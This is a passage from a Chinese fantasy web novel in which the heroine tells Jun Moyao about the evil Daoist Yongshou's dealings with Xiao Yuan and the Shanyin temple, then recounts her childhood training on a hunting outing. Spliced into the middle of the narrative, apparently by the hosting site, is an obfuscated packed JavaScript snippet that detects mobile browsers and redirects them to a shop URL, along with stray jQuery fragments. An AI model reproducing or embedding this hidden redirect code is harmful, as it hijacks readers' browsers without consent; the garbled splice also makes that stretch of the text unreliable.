“不是,”她将自己从混乱的思绪里扯出来,“抱歉,你们买好了吗?”
君墨爻拎着两袋睡垫,举了举,“买好了,这是你的。”
“多谢!”她欲接过来。
君墨爻侧身避开,“你是不是累了?我先帮你提着,你好好看路。”
她揉揉太阳穴,“脑子有点乱,那就麻烦你了。”
崔奇站在一旁,幽怨地看着他们,“还买不买了?”
又逛了两家店,君家马车走到,君墨爻将东西放上去,又问她,“你的东西是和我们放在一起,明日一起带过去,还是?”
她一想这些东西若要带回去,得让马车先过去,还要搬进搬去,实在过于麻烦。
“放你那吧!”
这次采买,她只起到个陪同的作用,东西是君墨爻挑的,也是他买的。
恍惚走出最后一家店,她才如梦初醒。等会儿给他采买银两的话还没出,她硬生生咽下,别人帮忙了一路,这一说,像是利用完就丢。
“你一路都蹙着眉,”君墨爻稍稍弯腰,与她平视,“是遇到什么事吗?”
她欲言又止,却是说起其他,“你不生我气了?”
“是啊!”君墨爻深深看进她的眼里,“怎么舍得生我们大功臣的气?但你再转移话题,我就真生气了。”
崔奇已然坐到车夫旁边,朝他们挥手,“拜拜你们,我先走了!”
她的视线从渐行渐远的马车,移到他眼中,唇瓣轻轻颤动,化作一声几不可闻的叹息。
“去我那吧,我慢慢与你说。”
再次来到她的宅院,君墨爻还有点恍惚,上次来,自己歇斯底里,却换来她全然不在意。这次却是她,愿意与自己说事。
湖中水亭,她手搭在桌上,撑着自己的头,一双眼望进湖中,却不聚焦。
“今日樊复鸣再寻我,说见鬼。但在我说起废阵,以及他所见幻象时,他却不好奇,反而震惊我能发觉废阵。”
君墨爻眉头拧起,“他在试探你?”
她颔首,“但没问出什么,方卫路过,让他逃了。到东市后,我瞧见——”
她忽然卡壳,眼珠不停晃动。
他没有丝毫催促,目光沉静,姿态放松,将一切主动权交予她。她带自己来,便是愿意说。
她视线凝聚,轻笑一声,“这还得从石子亦记忆里的邪道说起,他能盗取你们气运,是与这邪道做了交易。后面我遇见一冤魂,她身中诅咒,却冒死写下一份名单,只为揭穿一人罪行。我在破除诅咒时,见到了这邪道的脸。”
他只觉浑身的血液倒流,又在心脏处冻住。她惯爱隐瞒,此时透露让他心惊不已,那未曾说出之事,该如何凶险?
“今日到东市,我瞧一邪道避开人群,走进小巷,便追了上去。到一处不起眼的院落里,他......他给萧远献上邪物,为除其心头大患。萧远称他永寿大师,便是之前说的邪道。”
他瞳孔骤缩,认知的世界轰然崩塌,“你说谁?”
她无奈点头,“所以我很混乱。”
他深吸口气,“你的意思是,这永寿大师与石子亦交易,盗取我家气运,又为太女做事,迫害很多人?这次他们会面,也是为了交易害人的东西?”
“在石子亦的记忆里,这邪道活了几十年,如今其仍然头发乌黑,身体康健,”她抿下唇,她怀疑,这邪道用什么法子,盗取他人寿命。
这邪道并非一人,背靠山阴观,不知他们害了多少人。
君墨爻心头一紧,手已抢先一步牢牢抓住她,“你千万别冲动,他们不是一个人,尤其太......萧远,她深受皇上重视,底下为她卖命的数不胜数。”
“我知道,”她抽回手,拍下他手背,“此事非我们能对抗,你也莫要与任何人说,待我告知师母,由其告诉其他道士,再做打算。名单上的人,待我搞清楚事由,再找你辨认。”
他郑重其事,“你放心,此事不会让你一人承担。朝中不站萧远的不在少数,只要发现她所行之事迫害于人,大家不会放任不管。”
她吐出口气,整个人轻松不少。
君墨爻眉头却仍未舒展,“这些日子你可有得罪谁?”
她眼神躲闪,说出来,他怕是又要生气,再扯出山阴观,他定然要怪自己,说事都不说全。
他看明白了,直指要害,“是不是你去寻你师叔,却致使肩上受伤那会儿?以你的本事,一人不足为惧,那便是多人围困。”
她长叹口气,“围困我的有四人,因师叔逃脱,他们想用我为引出师叔。我将他们打趴,得知他们属于山阴观,便是永寿大师所在的邪道观。”
他猛地站起,“你都告诉我永寿大师了,却不告诉我这事?”
你看,她就知道。
他眼里冒着火,重重坐下,“那樊复鸣极有可能替他们探你虚实,好再次下手。你有什么打算?”
“没......什么打算?”她闭下眼,之前不是这样的,怎么现在那么怕他生气呢?
他咬着牙,“你有没有想过,之前方卫的前后矛盾也是为了试探?那在你师叔没逃出来前,他们就盯上你了。”
她眼神一凛,“所以方卫突然出来打断,就不是巧合?”
他气哼哼,“哪有那么巧的事?”
如果是这样,那么这群邪道可能盯上的不止她和师叔,而是整个虚云观。
她站起来,推推他,“好了,你先回去。”
瞄见她眼中凝重,他拿出刻着“爻”的令牌,推到她面前,“这个令牌,可以调动一支精锐小队。”
她眸光颤动,“你这?”
他利落站起,“他们只听命于我,或是这枚令牌。你孤身一人,总要有帮手。”
她感激一笑,“多谢!”
君墨爻走后,她整理思路,将这些事按时间写下,传与师母。
第二日,她走去东市口,除去提前说过不去的方卫、樊复鸣、谢楚、杜嘉佳,以及受伤不能前往的迟商、甄楠、沈玳、许问,大家都到了。
君心也在队伍里,与君律站在一块,朝她招招手。
运东西的三辆马车,快他们一步,先出了城。
他们三三两两凑在一块,快步向城外走去。
君心挽着她,走在队伍后方,“你之前说,你住山上,就是靠打猎生存。那这次游猎,对你来说不是手拿把掐?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008821|188405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她刮下君心鼻子,“这又不是比赛,我自然是去游玩的。打猎的事,交给他们吧!”
“可要是大家想吃的没打到,怎么办?”
她故作为难,“那就只能,由我出手了。”
君心笑得开心,“很少听你说起在山上的事,能不能给我讲讲?”
距离她们两步远的李若,放慢步伐,扭过头,“我也要听!”
她们身后的君墨爻与崔奇,也凑上来,“带我们一个!”
“好吧!”她摇摇头,勾起一抹无奈的笑意。
“我出生后不久就被师母带到了观中,成为她第四个徒子。两岁以前,她与大师姐将我装在竹编的背篓里,带我游山玩水。练功时,就将我放在蒲团上。”
“两岁以前的事你都记得?”崔奇惊呼。
她颔首,“那时候我还不知道世间的险恶。”
几双眼睛都屏息凝神地望着她。
“两岁后,每日天还没亮,师母就把我从被子里捞出来,和师姐师兄们一块扎架子。巳时一到,放出一张比人身大的图纸,教我们认穴位。未时,让我们在高低不一的木桩上走,谁掉下来,就得挨一板子。申时便要我们坐在观中,闭眼存想。
那会儿的我真坐不住,每天都想追小鸟玩。师母与大师姐就像变了个人似的,我但凡睁一只眼,就得多坐一炷香时间。”
“那么小就那么严格吗?”君心问。
她点头,咬牙切齿,“而我还得面对二师姐和三师兄的骚扰,小几岁的我根本不知道人心险恶,每次跳起来控诉他们,他们却闭上眼睛,坐得好好的。师母没一次抓住他们,还说就我闹腾,又给我罚一个时辰。”
李若笑吟吟的,“如果是脸蛋鼓鼓、眼眸亮晶晶,却又短胳膊短腿的你,我也会忍不住逗弄。”
一下,几人的视线转到李若身上。
李若嘴角上扬,狡黠得意,“有幸见过,可爱极了!”
“是她入幻境寻你那次吧?”君心点明。
“嗯哼!”李若点头。
君墨爻垂下头,没去看李若得意的模样。一股深沉的羡慕在他心中涌动,那是关于她生命里他无法触及的篇章。
“切,”崔奇很是不屑,“谁小时候不可爱?我们阿爻,那会儿可是出门都会被人抢着捏脸的那种。”
李若轻嗤一声,“起码你就不可爱,你浑身上下只剩个‘欠’。”
“好了,你们别吵了,”君心赶忙制止,瞅向看热闹不嫌事大的人,“涣离,你继续说!”
“后面的日子,师母带我辨认风中的异样气息,告诉我哪些可度,哪些当诛。再长大些,她让我独自与恶鬼对峙,我捏着桃木剑的手心直冒冷汗,她也只是看着,直到我将符箓拍出。再后来,她直接把我丢进各种阵法里,走三天三夜仍在原地打转的桃花障,杀机四伏的七星锁魂阵等等。平日里就练功,与师姐师兄互殴,去林里打猎,到观中读书。
至于为什么来京朝学堂——我师母的师弟,就是我师叔。在我小时候,他便与我们不同,他每日拿着书苦读,最后跑来这里念书考取功名。他考得了探花,却选择在学堂里教书。而后失踪,师母派我下山来寻他。”